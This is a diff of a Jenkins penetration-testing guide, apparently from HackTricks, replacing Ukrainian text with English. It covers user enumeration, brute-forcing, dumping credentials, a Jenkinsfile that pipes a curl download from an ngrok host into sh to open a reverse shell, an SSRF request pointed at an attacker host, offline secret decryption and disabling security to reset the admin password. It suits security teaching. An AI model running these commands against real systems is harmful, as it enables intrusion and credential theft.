Jenkins — інструмент, який пропонує простий спосіб створення середовища **безперервної інтеграції** або **безперервного постачання** (CI/CD) для майже **будь-якої** комбінації **мов програмування** та репозиторіїв вихідного коду з використанням пайплайнів. Крім того, він автоматизує різні рутинні задачі розробки. Хоча Jenkins не усуває **потребу створювати скрипти для окремих кроків**, він забезпечує швидший і надійніший спосіб інтегрувати всю послідовність інструментів збірки, тестування та деплойменту, ніж це легко реалізувати вручну.
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Неавтентифіковане перерахування
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
|
||||
Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як _/people_ або _/asynchPeople_ (вони показують поточних користувачів), можна використовувати:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Перевірте, чи можете виконувати команди без аутентифікації:
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Без облікових даних ви можете переглянути шлях _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **usernames**.
|
||||
|
||||
Ви можете дізнатися версію **Jenkins** з шляху _**/oops**_ або _**/error**_
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
### Відомі вразливості
|
||||
### Known Vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
@@ -34,7 +38,7 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## Login
|
||||
|
||||
У базовій інформації ви можете перевірити **всі способи login всередині Jenkins**:
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -42,36 +46,38 @@ basic-jenkins-information.md
|
||||
|
||||
### Register
|
||||
|
||||
Ви зможете знайти інстанси **Jenkins**, які **allow you to create an account and login inside of it. As simple as that.**
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
### **SSO Login**
|
||||
|
||||
Також, якщо присутні **SSO** функціональність/плагіни, слід спробувати **log-in** у додаток, використовуючи тестовий акаунт (наприклад, тестовий **Github/Bitbucket account**). Трюк з [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** не має **password policy** та **username brute-force mitigation**. Важливо виконувати **brute-force** по користувачах, оскільки можуть використовуватися **weak passwords** або **usernames as passwords**, навіть **reversed usernames as passwords**.
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
|
||||
### Password spraying
|
||||
|
||||
Використовуйте [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) або [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Багато організацій комбінують **SaaS-based source control management (SCM) systems** такі як GitHub або GitLab з **internal, self-hosted CI** рішенням на кшталт Jenkins або TeamCity. Ця схема дозволяє CI systems **receive webhook events from SaaS source control vendors**, переважно для запуску pipeline jobs.
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
|
||||
Щоб реалізувати це, організації **whitelist** **IP ranges** of the **SCM platforms**, дозволяючи їм доступ до **internal CI system** через **webhooks**. Проте важливо зазначити, що **anyone** може створити **account** на GitHub або GitLab і налаштувати його так, щоб **trigger a webhook**, потенційно надсилаючи запити до **internal CI system**.
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
У цих сценаріях припустимо, що у вас є дійсний обліковий запис для доступу до Jenkins.
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Залежно від механізму **Authorization**, налаштованого в Jenkins, та прав компрометованого користувача ви **might be able or not to perform the following attacks.**
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
|
||||
For more information check the basic information:
|
||||
|
||||
@@ -81,31 +87,17 @@ basic-jenkins-information.md
|
||||
|
||||
### Listing users
|
||||
|
||||
Якщо ви отримали доступ до Jenkins, ви можете перерахувати інших зареєстрованих користувачів за адресою [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Використовуйте [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) щоб дампувати build console outputs та build environment variables у пошуках cleartext secrets.
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
|
||||
|
||||
Деякі плагіни виставляють Jelly `validateButton` або `test connection` handlers за шляхами на кшталт `/descriptorByName/<Class>/testConnection`. Коли обробники **не вимагають POST або перевірки прав доступу**, ви можете:
|
||||
|
||||
- Замініть POST на GET і приберіть Crumb, щоб обійти перевірки CSRF.
|
||||
- Запустіть обробник як low-priv/anonymous, якщо відсутня перевірка `Jenkins.ADMINISTER`.
|
||||
- Проведіть CSRF проти адміністратора та замініть параметр host/URL, щоб exfiltrate credentials або ініціювати outbound виклики.
|
||||
- Використовуйте помилки відповіді (наприклад, `ConnectException`) як SSRF/port-scan oracle.
|
||||
|
||||
Приклад GET (no Crumb), що перетворює виклик валідації на SSRF/credential exfiltration:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak ідентифікатори або помилки у відповіді. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
@@ -117,7 +109,7 @@ You will usually find Jenkins ssh credentials in a **global provider** (`/creden
|
||||
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak всі **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
|
||||
@@ -160,6 +152,12 @@ It's also possible to **store pipeline configuration files in other places** (in
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
@@ -170,81 +168,89 @@ In the previous RCE section it was already indicated a technique to [**get RCE m
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
Для інформації про те, як Jenkins зазвичай обробляє secrets, перегляньте базову інформацію:
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Credentials можуть бути **scoped to global providers** (`/credentials/`) або до **specific projects** (`/job/<project-name>/configure`). Тому, щоб exfiltrate їх усіх, потрібно **compromise принаймні всі проекти**, що містять secrets, і виконати custom/poisoned pipelines.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
|
||||
Є ще одна проблема: щоб помістити **secret inside the env** pipeline, потрібно **знати ім'я та тип secret**. Наприклад, якщо ви спробуєте **load** **`usernamePassword`** **secret** як **`string`** **secret**, ви отримаєте цю **error**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Ось як завантажити деякі поширені secret types:
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
Наприкінці цієї сторінки ви можете **знайти всі типи облікових даних**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> Найкращий спосіб — **dump all the secrets at once** здійснити шляхом **compromising** **Jenkins** машини (наприклад, running a reverse shell в **built-in node**) і потім **leaking** **master keys** та **encrypted secrets** і розшифрувати їх офлайн.\
|
||||
> Більше про те, як це зробити в the [Nodes & Agents section](#nodes-and-agents) та в the [Post Exploitation section](#post-exploitation).
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Triggers
|
||||
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Директива `triggers` визначає **автоматизовані способи, якими Pipeline має бути повторно запущено**. Для Pipeline, інтегрованих із джерелом, таким як GitHub або BitBucket, `triggers` може бути не потрібна, оскільки інтеграція на основі webhooks, ймовірно, вже присутня. Наразі доступні тригери: `cron`, `pollSCM` та `upstream`.
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
|
||||
Check **other examples in the docs**.
|
||||
|
||||
### Вузли & агенти
|
||||
### Nodes & Agents
|
||||
|
||||
У **інстанції Jenkins** може бути **різні агенти, що працюють на різних машинах**. З погляду нападника, доступ до різних машин означає **різні потенційні cloud credentials** для викрадення або **різний мережевий доступ**, який може бути використаний для атак на інші машини.
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
|
||||
@@ -252,51 +258,55 @@ For more information check the basic information:
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Ви можете перерахувати **налаштовані nodes** у `/computer/`, зазвичай ви знайдете **`Built-In Node`** (який є вузлом, що запускає Jenkins) та, можливо, інші:
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
|
||||
.png>)
|
||||
|
||||
Особливо цікаво **компрометувати Built-In node**, оскільки він містить чутливу інформацію Jenkins.
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
|
||||
Щоб вказати, що ви хочете **run** **pipeline** в **built-in Jenkins node**, ви можете вказати всередині pipeline наступну конфігурацію:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Повний приклад
|
||||
|
||||
Pipeline на конкретному agent, з cron trigger, з pipeline та stage env variables, що завантажує 2 variables у step та відправляє reverse shell:
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Arbitrary File Read до RCE
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -319,14 +329,16 @@ jenkins-rce-creating-modifying-pipeline.md
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
|
||||
### Jenkins Secrets
|
||||
|
||||
Ви можете перерахувати secrets, отримавши доступ до `/credentials/`, якщо маєте достатні права. Зауважте, що це покаже лише secrets всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **додаткові credentials**.
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
Якщо ви можете **переглядати конфігурацію кожного проєкту**, ви також побачите там **назви credentials (secrets)**, які використовуються для доступу до репозиторію, а також **інші credentials проєкту**.
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -338,18 +350,19 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
|
||||
#### From disk
|
||||
|
||||
Ці файли потрібні для **decrypt Jenkins secrets**:
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Такі **secrets зазвичай можна знайти в**:
|
||||
Such **secrets can usually be found in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Ось regex, щоб їх знайти:
|
||||
Here's a regex to find them:
|
||||
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -359,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Розшифруйте секрети Jenkins офлайн
|
||||
|
||||
Якщо ви витягли **необхідні паролі для розшифрування секретів**, використайте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **щоб розшифрувати ці секрети**.
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -369,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Розшифрувати секрети Jenkins з Groovy
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Створити нового адміністратора
|
||||
|
||||
1. Отримайте доступ до файлу Jenkins config.xml у `/var/lib/jenkins/config.xml` або `C:\Program Files (x86)\Jenkis\`
|
||||
2. Знайдіть слово `<useSecurity>true</useSecurity>` і змініть слово \*\*`true` \*\* на **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Перезапустіть** сервер **Jenkins**: `service jenkins restart`
|
||||
4. Тепер знову зайдіть у портал Jenkins і цього разу **Jenkins не вимагатиме жодних облікових даних**. Перейдіть у "**Manage Jenkins**", щоб повторно встановити **пароль адміністратора**.
|
||||
5. **Увімкніть** **безпеку** знову, змінивши налаштування на `<useSecurity>true</useSecurity>` і **заново перезапустіть Jenkins**.
|
||||
### Create new admin user
|
||||
|
||||
## Посилання
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -392,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Основна інформація про Jenkins
|
||||
# Basic Jenkins Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Доступ
|
||||
## Access
|
||||
|
||||
### Username + Password
|
||||
|
||||
Найпоширеніший спосіб входу в Jenkins — за допомогою імені користувача та пароля
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
|
||||
### Cookie
|
||||
|
||||
@@ -24,30 +24,30 @@ Jenkins can be configured using plugins to be **accessible via third party SSO**
|
||||
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Авторизація
|
||||
## Authorization
|
||||
|
||||
У `/configureSecurity` можна **налаштувати метод авторизації Jenkins**. Є кілька опцій:
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
|
||||
- **Anyone can do anything**: Навіть анонімний доступ може адмініструвати сервер
|
||||
- **Legacy mode**: Як у Jenkins <1.164. Якщо у вас є роль **"admin"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включно з **anonymous** користувачами) ви матимете доступ лише для **читання**.
|
||||
- **Logged-in users can do anything**: У цьому режимі кожен **увійшовший користувач отримує повний контроль** над Jenkins. Єдиним користувачем, який не матиме повного контролю, є **anonymous user**, який отримує лише **доступ для читання**.
|
||||
- **Matrix-based security**: Ви можете налаштувати **хто що може робити** у вигляді таблиці. Кожен **стовпець** представляє **дозвіл**. Кожен **рядок** **представляє** **користувача або групу/роль.** Це включає спеціального користувача '**anonymous**', який представляє **неавторизованих користувачів**, а також '**authenticated**', який представляє **усіх автентифікованих користувачів**.
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** Цей режим є **розширенням** до "**Matrix-based security**", що дозволяє визначати додаткові ACL-матриці **для кожного проєкту окремо.**
|
||||
- **Role-Based Strategy:** Дозволяє визначати авторизації за допомогою **role-based strategy**. Керуйте ролями в `/role-strategy`.
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
|
||||
У `/configureSecurity` можна **налаштувати security realm.** За замовчуванням Jenkins підтримує кілька різних Security Realms:
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
|
||||
- **Delegate to servlet container**: Для делегування автентифікації сервлет-контейнеру, що запускає контролер Jenkins, наприклад [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Використовувати **вбудоване сховище користувацьких даних Jenkins** для автентифікації замість делегування зовнішній системі. Увімкнено за замовчуванням.
|
||||
- **LDAP**: Делегувати всю автентифікацію на налаштований LDAP-сервер, включаючи користувачів та групи.
|
||||
- **Unix user/group database**: **Делегує автентифікацію базі користувачів на рівні ОС Unix** на контролері Jenkins. Цей режим також дозволяє повторно використовувати Unix-групи для авторизації.
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
|
||||
Плагіни можуть надавати додаткові security realms, які можуть бути корисними для інтеграції Jenkins в існуючі системи ідентичності, наприклад:
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
@@ -81,18 +81,7 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
### Secrets in plugin/job configs on disk
|
||||
|
||||
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
|
||||
```bash
|
||||
# Global plugin configs
|
||||
